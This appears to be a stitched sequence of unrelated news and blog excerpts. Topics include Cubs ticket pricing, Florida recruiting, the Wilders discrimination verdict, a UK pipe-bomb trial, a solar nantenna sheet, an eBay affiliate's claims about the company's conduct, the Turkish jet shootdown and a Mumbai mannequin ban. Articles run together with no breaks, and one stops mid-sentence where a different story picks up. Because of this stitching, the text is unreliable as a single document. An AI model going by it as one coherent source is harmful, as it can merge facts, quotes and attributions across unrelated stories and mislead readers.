"We found the first five or six rows are much different than the seats that could potentially be in Row 28-29 or 30 at the back of those sections," Faulkner said.
Faulkner said a team analysis found there was a 20 percent increase in 2015 for tickets on the secondary market over 2014, while postseason tickets were going for three to four times face value.
The first payment deadline of 20 percent is Dec. 2, with the full amount due Jan. 12. Faulkner said the majority of fans have put their postseason ticket refunds for the unplayed playoff games (Game 5 of the NLCS and three World Series games) toward next year's tickets.
The Cubs did not reveal game times or say which ones will be classified as marquee, platinum, gold, silver or bronze. A preliminary schedule indicates there was one marquee game on Sept. 24 against the Cardinals, with most of them from mid-July to mid-August against the Rangers, White Sox, Mariners and Cardinals.
Joe Maddon was seeking fewer 3:05 p.m. Friday starts, which he said are not conducive for players who like to keep the same routines. The Cubs have no 3:05 p.m. Friday starts currently scheduled, bit have seven Friday games with game times to be determined. The Cubs also have a rare Friday night game scheduled on April 15th against the Rockies.
Extra innings: Like Fowler, free agent White Sox starter Jeff Samardzija declined a qualifying offer of $15.8 million. … The Astros' Colby Rasmus became the first player to accept his team's qualifying offer. Orioles catcher Matt Wieters and Dodgers pitcher Brett Anderson also accepted offers, while Blue Jays starter Marco Estrada agreed to a two-year, $26 million deal. … Cubs bench coach Dave Martinez was not one of the four finalists for the Dodgers managerial job, according to reports. Bud Black and Dave Roberts are among finalists.
[email protected]
Twitter @PWSullivanFlorida coach Will Muschamp discussed a handful of recruiting topics during his Monday press conference.
Despite a 2014 class that has filled Florida’s major positional needs and ranks in the T0p 10 on ESPN and Rivals with 20 members, there’s a perception that UF has fallen behind on the recruiting front.
Muschamp doesn’t see it that way.
“Not at all,” he said. “Considering we didn’t have a great season, I feel very comfortable where we are recruiting wise.”
Muschamp is still looking to add a second quarterback and running back as well as two more receivers in this cycle. Given that the Gators have ranked worse than 100th nationally in total yards for three consecutive years, what is his sales pitch to offensive recruits?
“Help us improve,” he said. “I think a great opportunity to walk into a great situation to improve and play in an exciting offense. This is still the University of Florida. It’s a great education. We’ll compete and play for championships. That hasn’t changed. Not in one year, that hasn’t.”
Other notes
On how he and his assistants have been able to flip recruits:
“You stay on guys and try to make valid points you’ve made throughout the entire recruiting process all the way through. Some guys, again, recruiting is happening so early sometimes maybe they don’t have all the information and they make a decision before they’re ready. For whatever reason, that’s kind of the way it’s fallen out.”
On the recruiting process seemingly getting crazier and more dramatic:
“The earlier and earlier recruiting goes, you’re going to continue to see this. That’s not stopping. I think the earlier it is, young men are making decisions before maybe they have the information or they’re sure of what they want to do or how they’re going to do it. I think you’re to continue to probably see this. You’ve got to recruit through it, understand when signing day is and know that you settle that there and at the end of the day, you’ll find out in a year or two, three years sometimes, what kind of a signing class it was as opposed to that day. That’s for sure.”
On how he has divided up the in-state recruiting areas among his staff:
“Mike Summers will be recruiting the Panhandle, which he recruited while he was at Arkansas and Louisville. Brad Lawing is going to go to the local area, which really entails most of all North Central Florida and up to Baker County. Kurt Roper has had Jacksonville before, but he and Travaris Robinson are going to take, kind of split Jacksonville up a little bit there. That’s such a good area for us.
“Travaris will continue handle Dade and Broward. Joker is going to handle Palm (Beach) county up through south of Orlando. Coleman (Hutzler) will handle the Space Coast area up to Duval County. D.J. Durkin will handle southwest Florida, down in Fort Myers up through south Pinellas County. Derek Lewis will have Polk and Hillsborough counties. And Brian White will have the central area of Florida moving west from Orlando to North Pinellas County.”It’s “Pomp and Circumstance” time for 1.6 million US college graduates.
While members of the Class of 2014 have some cause to celebrate, they also know they are a few short months away from starting to pay down their share of the $1 trillion-plus student-loan debt.
The most shocking number of all is that only 17 percent of these soon-to-be grads have a job lined up, according to AfterCollege Inc., which crunches these numbers and also tries to help match employers with recent graduates.
Despite our being a year further along on the road to economic recovery, this year’s 17 percent is actually down from the Class of 2013’s 20 percent who had a job lined up before graduating.
Most kids who go to college do so to get skills for work after graduation. It’s never going to be 100 percent or even 90 percent of graduates who have job offers waiting, but it shouldn’t be that 83 percent of seniors have nothing lined up, either — especially when 73 percent say they were actively looking for work.
Oddly, even 82 percent of supposedly more “marketable” majors (engineering, technology, math) were still empty-handed.
The problem with the country’s job picture is clearly a lack of growth coupled with an equal lack of confidence in our economic direction. Hence the tendency of CEOs to buy back stock and increase dividends while laying people off. For a company to build products it doesn’t need or spend money on bridges to nowhere would be irresponsible.
And yet, with these job stats facing graduates, DC plans to raise federally funded student loan rates by nearly a full percentage point for students next fall.
Kudos to Sen. Elizabeth Warren (D-Mass.) for trying to fight this by proposing in her first bill to allow kids to borrow at the same rate that banks do at the discount window from the Federal Reserve.
Yes, it would cut into the government’s profit from student loans, but making money by putting kids and their families into deep debt has to end.
Here’s another idea: Mandate by legislation that college and university endowments use 5 percent to 10 percent of their capital to reduce tuition and college expenses across the board.The Dutch far-right leader Geert Wilders has been found guilty of inciting discrimination against Dutch Moroccans in a verdict that is expected to intensify the debate about migration in the Netherlands.
A panel of three judges ruled that the Freedom party (PVV) leader’s comments in a post-election speech in 2014 were “demeaning and thereby insulting towards the Moroccan population”. Hendrik Steenhuis, chairman of the judges, said the remarks were clearly aimed at an ethnic population group and delivered in a televised speech for maximum effect.
However, the court cleared Wilders of the charge of inciting hatred and imposed no fine or sentence, ruling that a criminal conviction was sufficient punishment for a politician in Wilders’ position.
Neither Wilders nor his lawyer, Geert-Jan Knoops, were in court to hear Friday’s verdict. Immediately afterwards Wilders issued a press release saying he would appeal and describing the court’s decision as “a great loss for democracy and freedom of expression”.
The verdict comes three months before Dutch voters go to the polls in a general election in which Wilders has vowed to put migration and “Islamisation” at the heart of the campaign. His party’s draft manifesto includes pledges to close every mosque in the Netherlands and ban the Qur’an from public buildings.
Latest opinion polls put the PVV in front, on about 24% of the vote. Since the election of Donald Trump in the US, Wilders has pulled ahead of his nearest rival, the Liberals (VVD) led by the prime minister, Mark Rutte.
Rutte has repeatedly said he would not go into government with the PVV unless Wilders withdrew his remarks on Moroccans, and the other main parties have ruled out cooperation. But under the Dutch proportional representation system the leader of the largest party is conventionally given the first shot, and if Wilders has a clear lead it might be impossible to build a coalition without him.
The public prosecution service charged Wilders after police received nearly 6,000 complaints about a speech he gave following local elections in March 2014. After his party had narrowly failed to become the largest group on The Hague’s city council, Wilders asked a roomful of supporters if they wanted to have “more or fewer Moroccans” in the country. When the crowd shouted back “Fewer!”, he replied: “Well, we’ll take care of that.”
Wilders denounced the trial from the outset as politically motivated and an attack on free speech, and initially boycotted the hearings at the high-security court complex in Schiphol.
In a video message posted on his Twitter feed on Friday, he attacked the “shameful sentence” and vowed he would “never be silent”.
“The Netherlands have become a sick country,” he said. “I am not a racist and neither are my voters. This sentence proves that you judges are completely out of touch. Support for the Party for Freedom is stronger than ever and keeps growing every day. The Dutch want their country back.
“Today I was convicted in a political trial which, shortly before the elections, attempts to neutralise the leader of the largest and most popular opposition party. But they will not succeed, not even with this verdict, because I speak on behalf of millions of Dutch.”
It was the second time Wilders had been taken to court over remarks made in the political arena. In 2011 he was acquitted of discriminating against Muslims after describing Islam as a “fascist” religion in various interviews. On that occasion he described the verdict as a “victory for free speech”.
Political commentators have warned that Friday’s outcome could polarise the debate on migration in the Netherlands still further and harden support for Wilders among his core vote. “To these voters this is the ultimate proof of how far we have fallen in the Netherlands,” sociologist Koen Damhuis told the NRC newspaper. “They won’t walk away from Wilders if he’s found guilty. Moreover, PVV voters think he should be given a statue for the stance he has taken.”Efficiency is a problem with today's solar panels; they only collect about 20 percent of available light. Now, a University of Missouri engineer has developed a flexible solar sheet that captures more than 90 percent of available light, and he plans to make prototypes available to consumers within the next five years.
Patrick Pinhero, an associate professor in the MU Chemical Engineering Department, says energy generated using traditional photovoltaic (PV) methods of solar collection is inefficient and neglects much of the available solar electromagnetic (sunlight) spectrum. The device his team has developed -- essentially a thin, moldable sheet of small antennas called nantenna -- can harvest the heat from industrial processes and convert it into usable electricity. Their ambition is to extend this concept to a direct solar facing nantenna device capable of collecting solar irradiation in the near infrared and optical regions of the solar spectrum.
Working with his former team at the Idaho National Laboratory and Garrett Moddel, an electrical engineering professor at the University of Colorado, Pinhero and his team have now developed a way to extract electricity from the collected heat and sunlight using special high-speed electrical circuitry. This team also partners with Dennis Slafer of MicroContinuum, Inc., of Cambridge, Mass., to immediately port laboratory bench-scale technologies into manufacturable devices that can be inexpensively mass-produced.
"Our overall goal is to collect and utilize as much solar energy as is theoretically possible and bring it to the commercial market in an inexpensive package that is accessible to everyone," Pinhero said. "If successful, this product will put us orders of magnitudes ahead of the current solar energy technologies we have available to us today."
As part of a rollout plan, the team is securing funding from the U.S. Department of Energy and private investors. The second phase features an energy-harvesting device for existing industrial infrastructure, including heat-process factories and solar farms.
Within five years, the research team believes they will have a product that complements conventional PV solar panels. Because it's a flexible film, Pinhero believes it could be incorporated into roof shingle products, or be custom-made to power vehicles.
Once the funding is secure, Pinhero envisions several commercial product spin-offs, including infrared (IR) detection. These include improved contraband-identifying products for airports and the military, optical computing, and infrared line-of-sight telecommunications.
A study on the design and manufacturing process was published in the Journal of Solar Energy Engineering.It’s time again to announce the next MINECON!
If you like Minecraft, and you like people who like Minecraft, you’ll probably like MINECON. It’s THE place to see all the cool Mojangstas you fancy, meet people who love Minecraft maybe even as much as you do, and attend panels and events full of YouTube creators and a ton of other talented folks!
This summer we are heading to London, UK to hang out with 10,000 of our closest friends (hint: that’s you!). As usual there will be panels, contests, tournaments, events and a soon-to-be-announced show-of-some-sort for our Saturday night bash.
WHEN: July 4-5, 2015
WHERE: ExCeL London Exhibition and Conference Centre
WHO: You, hopefully!
Since you’re bound to have more questions, I’ll ask myself some in this handy Q&A:
How do I get tickets?
How do I become a volunteer (aka MINECON Agent)?
I have a great idea for a panel, how can I make it happen?
I want to exhibit at MINECON. How do I get a booth?
More details and information will be coming in the next couple weeks, keep watching mojang.com for all the answers you seek!
Thanks for reading!
Vu - @vubuiA TEENAGER who made a pipe bomb which was found in his Nazi memorabilia-filled bedroom was this afternoon cleared of preparing a terrorist act.
The 17-year-old was found guilty by a jury at Leeds Crown Court of constructing the explosive device but not guilty of the terrorism offence he was charged with.
The teenager, who cannot be named, will be sentenced at a later date.
Trial judge Mr Justice Goss told the court he was concerned about "a very disturbing mindset in this young man and unusual and worrying behaviour".
A week-long trial heard how the pipe bomb was found in a desk drawer in his the bedroom of his home in Bradford after police were alerted through suspicious Snapchat messages.
Prosecutors said one of these messages was a cartoon-like image of a mosque being blown up along with the words: "It's time to enact retribution upon the Muslim filth."
Another was a picture of a pipe bomb with an image of the Bradford skyline and the message: "Incendiary explosive and home-made black powder. More to come."
The jury heard how officers found the defendant's bedroom covered in flags, including the swastika and the symbol of the Waffen SS as well as a laptop with wallpaper featuring a Nazi eagle over a swastika and the German phrase: "One Nation, One Empire, One Leader."
But the teenager told the court he never intended to use the pipe bomb.
The blond-haired youth was found not guilty of a charge of preparing a terrorist act but guilty of making a pipe bomb.
He showed no emotion as he sat in the dock flanked by two security guards.
The judge refused an application for the teenager to be bailed before he is sentenced.
The teenager's barrister Rupert Bowers QC told the judge it was unlikely the sentence would exceed the time his client has already served in custody.
But Mr Justice Goss said he was concerned about what the police found in the teenager's home and the views he was expressing.
During the trial, prosecutors took the jury through a number of social media postings and messages detailing what they said were the defendant's racist, white-supremacist views.
Many related to his links with National Action, described as "a small, secretive neo-Nazi British youth nationalist organisation".
The jury was also told the defendant celebrated the murder of Labour MP Jo Cox and proclaimed her murderer, Thomas Mair, as a hero.
Barnaby Jameson, prosecuting, told the jury the teenager made the pipe bomb as part of an "ideological war he was waging".
But, after he was arrested, the teenager told police he had made the pipe bomb out of sparklers.
He said in a statement when interviewed: "I've simply been fooling around with fireworks and showing them off to my peers, in my naivety, I have never had the intention to cause any harm to any person."
Mr Jameson opened the case by saying: "This was not, as the defence will suggest, a bad joke gone wrong. This was the opening stage of (the defendant's) all-out race war and that is why the Crown leads its case with an allegation under the terrorism legislation."
The defendant said in the witness box that he only posted a picture of the pipe bomb to see if he could get a reaction and then put it back in his drawer.
He said he did not plan to attack anybody.
The teenager was remanded in custody to be sentenced at Leeds Crown Court on February 13.
MORE TOP STORIESToday in the world of grotesque artistic creations we bring you a typeface made of human flesh. Behold, its teensy pores, straggly hair follicles, crinkly wrinkles, moist eyeballs and occasional freckles.
The gaggle of humanoid letters comes courtesy of JC Debroize of Kerozen, a French design studio made up of seven members. When the team realized it was composed of seven members, and the word kerozen has seven letters, they made the glorious decision to create a letter from each of their faces, creating both a seven-letter-typeface and a terrifying group self portrait. They call the resulting visuals "Human Type."
Look! E's watching you...
"I first made the letters in old-school 3D with modeling clay," Debroize told Co.Design. "We shot pictures of the letters and of the design team's faces. Then I made a mapping of skin textures on the letters with Photoshop and added the hair and the eyes. It was not a problem to show an unflattering image of us. We laughed a lot making this."On Thursday, radical anti-Semite and Islamist supporting Women’s March organizer Linda Sarsour threatened her political enemies on Facebook and Twitter. Here’s what she had to say:
These past few months have shown there is a clear campaign to defame my character that has come with emotional & financial damage. — Linda Sarsour (@lsarsour) July 11, 2017 Just know that I am taking names of those who have lied about me to defame my character. I may be quiet now but not for long. I am working. — Linda Sarsour (@lsarsour) July 11, 2017 I have the unfortunate receipts of what it costs to be the target of right wing media, elected officials, prominent individuals. — Linda Sarsour (@lsarsour) July 11, 2017 I have a running document of the lies & who is putting them out there. This is not about setting records straight, it's who will pay 4 lies? — Linda Sarsour (@lsarsour) July 11, 2017 This is exhausting every day. Please pray for my children who I can't shelter from the vitriol they see. — Linda Sarsour (@lsarsour) July 11, 2017
This was an anodyne version of her Facebook post:
Yes, Linda, it was the alt-right Zionists behind all your problems. Never mind that the alt-right hates Zionism and stands with you on the issue. Never mind that you blame Zionists for all problems in the world and say they can’t be feminists or part of a broader left-wing movement. Never mind that you’ve spent your career cozying up to terror supporters and threatening moderate Muslims and victims of Islamic radicalism. No, you’re the victim.
Lawfare is one of the favorite tactics of “anti-Islamophobia” scam artists. Apparently Sarsour is preparing to unleash that tactic, too.San Antonio teen's tracking chip fight goes to court
SAN ANTONIO (AP) — The family of a 15-year-old student fighting the use of tracking badges in her San Antonio high school is asking a federal court to keep her on campus.
The Northside school district equipped 4,200 students this fall with mandatory ID badges containing tracking chips. Administrators say locating students via computers will improve safety and boost attendance records that are used to calculate how much state funding a district receives.
Sophomore Andrea Hernandez has refused to wear the badge, and the district says she must transfer to another campus if she doesn't comply.
A San Antonio federal court Monday is set to hear the family's request to stop the district until the lawsuit is settled.
Northside ISD is the fourth-largest school district in Texas.Agents of S.H.I.E.L.D. 4×07 airs on Tuesday (finally!) and we have a few hints for the sizzling new episode.
Be prepared to change your mind (again) about Mace
Director Jeffrey Mace has been an enigmatic figure in Agents of S.H.I.E.L.D. season 4, and the fog only thickens in “Deals With Our Devils.” Just when you think you’ve got a handle on Mace (for better or worse), the narrative flips once again, leaving lingering questions on that whole “team that trusts” thing.
The FitzSimmons is strong this week
Though Simmons and Fitz are physically separated in Agents of S.H.I.E.L.D. 4×07, their deep connection is a driving force throughout the episode. In fact, “Deals With Our Devils” may just give you more FitzSimmons feels-per-minute than any other episode this season… though not quite in the ways you’d expect.
Keep your eye on Mack
Mack has been a nigh-unshakable pillar of strength (and awesomeness) (and handsomeness) since he joined the team, but we haven’t had many opportunities to explore what makes him tick. That finally changes in “Deals With Our Devils,” which challenges Mack in ways we haven’t seen before. Sometimes you have to crack the surface to see what’s inside, after all.
Plugged in
In a season that has felt a bit tangled at times, Agents of S.H.I.E.L.D. 4×07 comes onto the scene like your favorite IT guy. The mass of wires charging disparate stories is gently untangled, and each thread is carefully plugged into the right port. “Deals With Our Devils” casts light on what came before — and makes sure we’re fully charged for the winter finale.
Coulson and Fitz and Robbie are…
Dead? Alive? Chocolate bars? Obviously, we can’t tell you. But be prepared for an answer that puts significant physical and emotional stress on the entire cast. And maybe opens up a few more questions than it answers.
Article Continues Below
Agents of S.H.I.E.L.D. 4×07, “Deals With Our Devils,” airs Tuesday, Nov. 29 at 10 p.m. on ABC.
Share your predictions for ‘Agents of S.H.I.E.L.D.’ 4×07!A NEW photographic exhibition offers a unique insight into a number of abandoned crofts on the Outer Hebrides.
The images, which go on display from today at The Lighthouse in Glasgow, reveal homes on the islands of Harris and Uist that have been left to rot after their occupants died or moved on.
'Blue Door' by John Maher
Many of the remote buildings are said to remain in family ownership, with surviving relatives reluctant to sell them on.
The stark pictures were taken by John Maher, a professional musician who spent four years on the islands documenting the crofts.
His work was first displayed in 2014. It has now returned to Scotland as part of the Nobody’s Home exhibition, which runs until August 31 at the city centre gallery.
Maher said: “Taking this exhibition to Glasgow is the realisation of a long held ambition.
“What started out as a personal project - documenting abandoned croft houses in the Outer Hebrides – has had an unexpected side effect. As a result of displaying my photographs, there’s now a real possibility of seeing at least one of the properties becoming a family home once again.
“Putting on this exhibition in collaboration with the team at Architecture and Design Scotland means Nobody’s Home is about more than pictures on a gallery wall. It shows that looking through a lens to the past, can help shape things in the future.”
Maher, who was a member of the seminal Manchester pop-punk band Buzzcocks, moved to the Hebridies in 2009 and now works as a professional photographer among other interests.
He drummed on many of the group |
much money I was making by being an eBay affiliate, which made people go a little crazy I think. My servers were getting around 100,000 hack attempts per day, people were showing up on my doorstep from Europe (literally) threatening me with crap if I didn’t tell them what I was doing for eBay. My car got stolen from a “secure” parking structure. More than one person found where I was building a house, broke into the development to take pictures and post on their blog, etc.
I didn’t like the attention and this was not the life I wanted.
I proceeded to inform eBay that I no longer wanted to participate in the eBay affiliate program… but every time I brought this up with them (which was every time I talked to them at this point), I was guilted into staying, with them asking me to stay “one more month” or “can you just wait until the end of the quarter so it doesn’t wreck our numbers?”. Finally I REALLY wanted to be done and not strung along anymore and again was guilted into staying with them telling me how many hours they spent getting me a “special rate”, etc, etc. and now it would all be for nothing if I was going to quit.
eBay Live! – June 2006
The top affiliates get invited to an eBay affiliate conference that takes place during eBay Live! each year. The conference was in Las Vegas this year and eBay affiliate program managers (along with some other eBay executives) invited me to a “secret meeting/dinner” where I was the only non-eBay employee invited. We had dinner at Mix, a swanky restaurant at THE Hotel.
Who cares, about a private dinner, right? Normally yes, until you get into what the topic of discussion at this dinner was. This dinner meeting had two main topics… 1. How can I drive more traffic to eBay (always the topic with eBay) as well as something far more interesting.
The Black Budget
One topic that was discussed was eBay secret “black budget”. This was described as a large allotment of money that eBay was free to do what they wanted with, without it being reported on accounting sheets (and in turn shareholders). eBay wanted me to REALLY ramp up spamming the web with eBay ads. I told them I wasn’t interested at ALL and in fact still wanted to quit the program completely, not “ramp it up”. I explained to them that Google was pretty good to me as far as sending me traffic and that I had no interest in spamming Google search results. Then they offered to buy any hardware I wanted with their black budget and get it co-located offshore if I wanted so that no one could trace the spamming back to me or digitalpoint.com. I still told them I wasn’t interested.
Then they made it very clear that they have no love for Google at all and would actually pay me whatever I wanted from their black budget to “hurt Google in any way I can”. I didn’t really understood what they were asking or even why they would want to “hurt Google”. I pointed out that Google is not their competitor and hurting Google ultimately would only hurt them in the end since they get traffic FROM Google. Finally they came out and said they were angry at Google because eBay was one of the largest AdWords advertisers and Google recently changed their AdWords pricing to take into account “ad quality” (more on that here) and it was costing eBay exponentially more in advertising dollars. I still wasn’t clear exactly what they meant by “hurt Google”, and pressed them to be a little more specific. Their answer was, “You are creative… think of anything you can think of and just name your price. Maybe you could figure out a way to take down Google datacenters somehow?” eBay even flew down an executive from their pay per click advertising division to talk about this.
Yeah, no. eBay asking me to engage in cyber-terrorism against Google… thanks, but no thanks. I’m not going down that road.
After I made it blatantly clear that I was not interested in “hurting Google” for any price the topic turned back to how I could drive more traffic to the affiliate program. I told them that I really didn’t think there was a way I could drive more traffic. They questioned me about any of the “grey area” stuff I experimented with in the previous summer and if there anything in there that could drive traffic. I told them that it was *possible* to add additional traffic, but the only traffic they could get from that would be non-compliant. Their response was, “As long as you don’t show up on compliance reports, it’s compliant as far as we are concerned.”
Carmen Electra & The Super Bowl
In 2006, I had a new idea for driving traffic to the eBay affiliate program that started as a joke. I had the idea to “Win A Date With Carmen Electra” (or some other person along those lines that would agree to it). The idea entailed running a Super Bowl ad that directed you to a site that passed traffic through to eBay via an affiliate link. My joke became serious when eBay actually wanted me to run the Super Bowl ad. They even went so far as to get special approval from their legal department after I expressed my concern about spending the money to run the ad when they could decide they didn’t want to do it (or pay the commissions on it) after I already foot the bill. There wasn’t enough time to get it ready for the Super Bowl that winter (and eBay was rather annoyed I couldn’t do it that year).
Fall 2006
I don’t recall the exact time, but I believe it was in the fall of 2006. I showed up on Ben Edelman’s monthly compliance report again, and this time he was absolutely furious with eBay employees about it. What *I* heard is that during the conference call with the eBay affiliate managers, he did a lot of yelling and screaming about why I was still participating in the eBay affiliate program when I should have been terminated last time I showed up on his report.
eBay’s response to him? “We’ll take care of it.”
eBay’s response to me? “Ben can only cross reference affiliates by PID. Please change your PID in case you show up on Ben’s report in the future.” Yep, that’s right… eBay only wanted me to change my tracking ID so Ben Edelman couldn’t see it was an affilate that was on his report in the past.
Private Jets
eBay knew I was not driven by the money (clearly since I told them constantly I didn’t want to participate in the program any longer and that I would do what I did for eBay for 1% of what they were paying). They ended up getting creative to keep me interested in the program for the last year. Going so far as to trying to get clearance so I earned hours on a private jet instead of commissions (even if those commissions were worth more, it was more interesting to me).
Rover
In the fall of 2006 eBay was switching over to their in-house rover links and I was very slow to switch my links to rover. I didn’t see a point in it really… the old links were working just fine. They were oddly insistant that I move my links to rover, but would never actually tell me why. Their refusal to tell me why made me not want to do it, so we went around and around for months with this. I told them I would switch my links to rover as soon as they told me why it’s so important. Finally they said it was important to them because traffic going through rover links had no compliance checking.
The End
In June of 2007, my affiliation with eBay ended. And truthfully, I was very happy about it (in the previous year, nearly every communication I had with eBay, I would bring up the fact I didn’t want to participate in the eBay affiliate program any longer), so it was an easy way out without them begging/pleading that I stay in the program “just a little longer”.
eBay’s Numbers
eBay was clearly driven somehow by the overall commissions paid out to affiliates. There were months where their numbers would be “low”, so they would give retroactive bonuses out to all (or at least the top) affiliates for the previous month, and were constantly upping the payout rate to affiliates (which is odd only because they had no real competition).
I suspect eBay’s management staff within the affiliate program were probably getting quarterly bonuses based on how much commissions were paid out to affiliates.
Non-Compliant Traffic
eBay’s “favorite” traffic source back then was also technically violating their own terms of service. Cloaking search engines via server-side redirects was the thing they loved the most. But again… they stated their terms of service acted more like a scapegoat they could point to when their partners (notably Google) would question them about it.
So What Happened?
This part is purely speculation, but the feeling I get is that someone higher up in eBay got wind of what their affiliate program managers were doing and encouraging affiliates to do and “cleaned house”. I heard a rumor that the majority of the top 100 eBay affiliates were axed at the same time I was. I also heard a rumor that the eBay affiliate program managers inside the company were also “let go” (or at the very least relocated to different departments) at the same time. Did it have something to do with Meg Whitman’s (eBay’s CEO at the time) departure from eBay? Who knows, but I can only assume eBay knew of Meg Whitman’s departure at least a few months before it was official and started to bring in the new management team. It would all coincide with a timeline of someone from the new management team looking deep into how things were run.
So if someone higher up wanted to “clean up the department”, what do you do after you get rid of most of your top affiliates and replace the internal employees running the department? You take your previous top affiliate (me) and attempt to make an example out of them. In the course of this lawsuit, eBay has even said it’s not about the money.
Okay, So Why The District Attorney Then?
Off the record, one FBI agent told me that they (personally) thought this whole thing was a waste of their resources, and was a civil matter between eBay and myself. Politics is politics, eBay is eBay and coincidentally one of eBay’s civil lawyers used to work in the district attorney’s office. 🙂Image caption The Turkish military lost radio contact with the F-4 Phantom while it was flying over Hatay province
Turkey's foreign minister has said the fighter jet shot down by Syrian air defence forces on Friday was in international airspace when it was hit.
Ahmet Davutoglu said the unarmed plane was not on a secret mission related to Syria, but had mistakenly entered Syrian airspace before the incident.
Syria maintains that it engaged the aircraft in its airspace "according to the laws that govern such situations".
The Turkish and Syrian navies are still searching for the two crew members.
Turkish Prime Minister Recep Tayyip Erdogan is meeting the leaders of the three other parties in parliament to discuss how to respond.
Turkey had also called a meeting of Nato member states on Tuesday.
"Turkey has requested consultations under article 4 of Nato's founding Washington Treaty. Under article 4, any ally can request consultations whenever, in the opinion of any of them, their territorial integrity, political independence or security is threatened," Nato spokeswoman Oana Lungescu told the Reuters news agency.
UK Foreign Secretary William Hague said Syria's actions were "outrageous" and underlined "how far beyond accepted behaviour the Syrian regime has put itself".
"It will be held to account for its behaviour. The UK stands ready to pursue robust action at the United Nations Security Council."
'Training flight'
In an interview with TRT television on Sunday, Mr Davutoglu asserted that the unarmed F-4 Phantom had "momentarily" entered Syrian airspace by mistake on Friday but had left when it was shot down 15 minutes later.
The plane did not show any sign of hostility toward Syria and was shot down about 15 minutes after having momentarily violated Syrian airspace Ahmet Davutoglu, Turkish Foreign Minister
"According to our conclusions, our plane was shot down in international airspace, 13 nautical miles (24km) from Syria," he said.
According to international law, a country's airspace extends 12 nautical miles (22.2km) from its coastline, corresponding with its territorial waters.
Mr Davutoglu also insisted that the jet had not been on a "covert mission related to Syria" but had instead been carrying out a training flight to test Turkey's radar capabilities.
He said the plane had not "shown any hostility", been clearly marked as Turkish, and that he did not agree with the Syrian military's statement that it had not known to whom it belonged.
Privately, senior members of the governing AK Party have accused Syria of violating international law, says the BBC's Jonathan Head in Istanbul.
Earlier, Mr Davutoglu spoke by telephone to UN Secretary General Ban Ki-moon, who has urged restraint by both sides, and the foreign ministers of the five permanent members of the UN Security Council.
Turkey wants to be sure of the strongest backing once it decides its official response, our correspondent adds.
The government has promised that it will be strong, decisive and legitimate, and that it will share all the information it has with the public.
'Unidentified target'
The Turkish military said it lost radio contact with the F-4 Phantom at 11:58 (08:58 GMT) on Friday while it was flying over Hatay province, about 90 minutes after it took off from Erhac airbase in the province of Malatya, to the north-west.
Later, the Syrian military said an "unidentified air target" had penetrated Syrian airspace from the west at 11:40 local time (08:40 GMT), travelling at very low altitude and at high speed.
It said that in line with the laws prevailing in such cases, Syrian air defences engaged the craft, and scored a direct hit about 1km (0.5 nautical miles) from its coastline.
It burst into flames, and crashed into the sea at a point 10km (5 nautical miles) from the village of Om al-Tuyour, off the coast of Latakia province, well within Syrian territorial waters, the statement added.
Syrian television showed a map charting the aircraft's movements, coming in from over the sea near northern Cyprus.
The Syrian military statement said that after it "became clear the target was a Turkish military plane which had entered our airspace", the naval commands of the two countries were in touch, and a joint operation was going on to find the missing crew members.
Relations between Nato-member Turkey and Syria, once close allies, have deteriorated sharply since the uprising against Syrian President Bashar al-Assad began in March 2011. More than 30,000 Syrian refugees have fled the violence across the border into Turkey.
After a cross-border shooting by Syrian security forces in April that left two refugees dead at a camp near the town of Kilis, Turkey said it would not tolerate any action that it deemed violating its security.Kalyn Heffernan of Wheelchair Sports Camp spent three days in Cory Gardner's office, demanding he vote against any Republican attempt to cut Medicaid. She was arrested on June 29, 2017.
"I'd rather go to jail than to die without Medicaid," chanted Wheelchair Sports Camp MC Kalyn Heffernan, around 7 p.m., Thursday, June 29, as she live-streamed footage of police arresting her fellow activists. The disability rights group ADAPT had been staging a three-day sit-in at Republican Senator Cory Gardner's office. At the time she was filming, her own arrest was inevitable.
The demonstrators, many in wheelchairs, had pledged on Tuesday, June 27, to occupy Gardner's Denver office until the senator promised to vote no on a GOP-backed healthcare measure that the Congressional Budget Office says would lead to 22 million people losing health insurance by 2026.
Gardner's office has not replied to multiple requests for comment on the protest.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
Caitlyn Jenner is still planning to vote Republican in 2016 – despite the party’s opposition to transgender rights.
The former Olympian and reality TV star has been candid about her conservative views, explaining that she previously opposed same-sex marriage.
This week, Jenner revealed she still plans to vote for a Republican Presidential candidate, despite most of the contenders being staunch opponents of trans and LGB rights.
Speaking to the LA Times after the Democratic Presidential debate, she said: “They didn’t convince me.”
The frontrunners for the Republican nomination are currently billionaire Donald Trump and Dr Ben Carson – a former Fox News pundit who thinks gay weddings are a Marxist plot and never wants to pee next to a transgender person.
Carson called for the segregation of trans people earlier this month, saying: “How about we have a transgender bathroom?
“It is not fair for them to make everybody else uncomfortable. It’s one of the things that I don’t particularly like about the [LGBT] movement.
“I think everybody has equal rights, but I’m not sure that anybody should have extra rights—extra rights when it comes to redefining everything for everybody else and imposing your view on everybody else.”
Meanwhile, Trump has frequently referred to Jenner by her former name and gender, while Republicans recently opposed an LGBT rights law in Houston, Texas by claiming it lets ‘men’ in women’s bathrooms.
Also in the field is Republican pundit Mike Huckabee – who earlier this year ‘joked’ he wishes he were transgender in order to spy on teenage girls in the shower.In a move that aims to prevent 'wrong acts', a euphemism for sex crimes, by men, the general body of the Brihanmumbai Municipal Corporation has unanimously passed a proposal by a woman Shiv Sena corporator to ban the display of bikini-clad mannequins outside lingerie shops in the city.
The general body, which is made of 227 corporators from across parties, has demanded BMC Commissioner Sitaram Kunte frame a new policy on indecent display in public areas.
The proposal was mooted by BJP corporator from Ghatkopar, Ritu Tawade, on April 26 and passed on May 16. Once approved by the commissioner, it would allow civic officials to get shopkeepers to remove a mannequin if they think it is scantily dressed.
With Mumbai recording the second highest number of rapes in the country, Tawade said the display of inadequately clothed mannequins was indecent and could lead to "wrong acts" by men.
"Especially two-piece clothes which barely cover the body have led to pollution of minds in today's generation. Such a display affects the mindset of men. One must think of the awkwardness a woman will feel standing in front of such a mannequin," said Tawade.
The proposal to ban such mannequins has not come out of the blue, said Tawade, a 39-year-old commerce graduate.
Provisions of the Indecent Representation of Women (Prohibition) Act, 1986, say "indecent representation of women means the depiction in any manner of the figure of a woman; her form or body or any part thereof in such way as to have the effect of being indecent, or derogatory to, or denigrating women, or is likely to deprave, corrupt or injure the public morality or morals", she said.
Tawade has already forced some shops in her ward to stop the display of such mannequins.
Mumbai Mayor and Shiv Sena corporator Sunil Prabhu backed her. "I have always supported women corporators in their initiatives and I agree with her that such scantily clad mannequins do invite unwanted attention of men and the resulting surge of sex crimes," said Prabhu.
Please read our terms of use before posting commentsYou can find a lot of questions “how I can learn c++?“, “how I can learn game development?“, “how to create my first game?” and others similar in the depths of the Internet. I remember times when I was asking the same question.
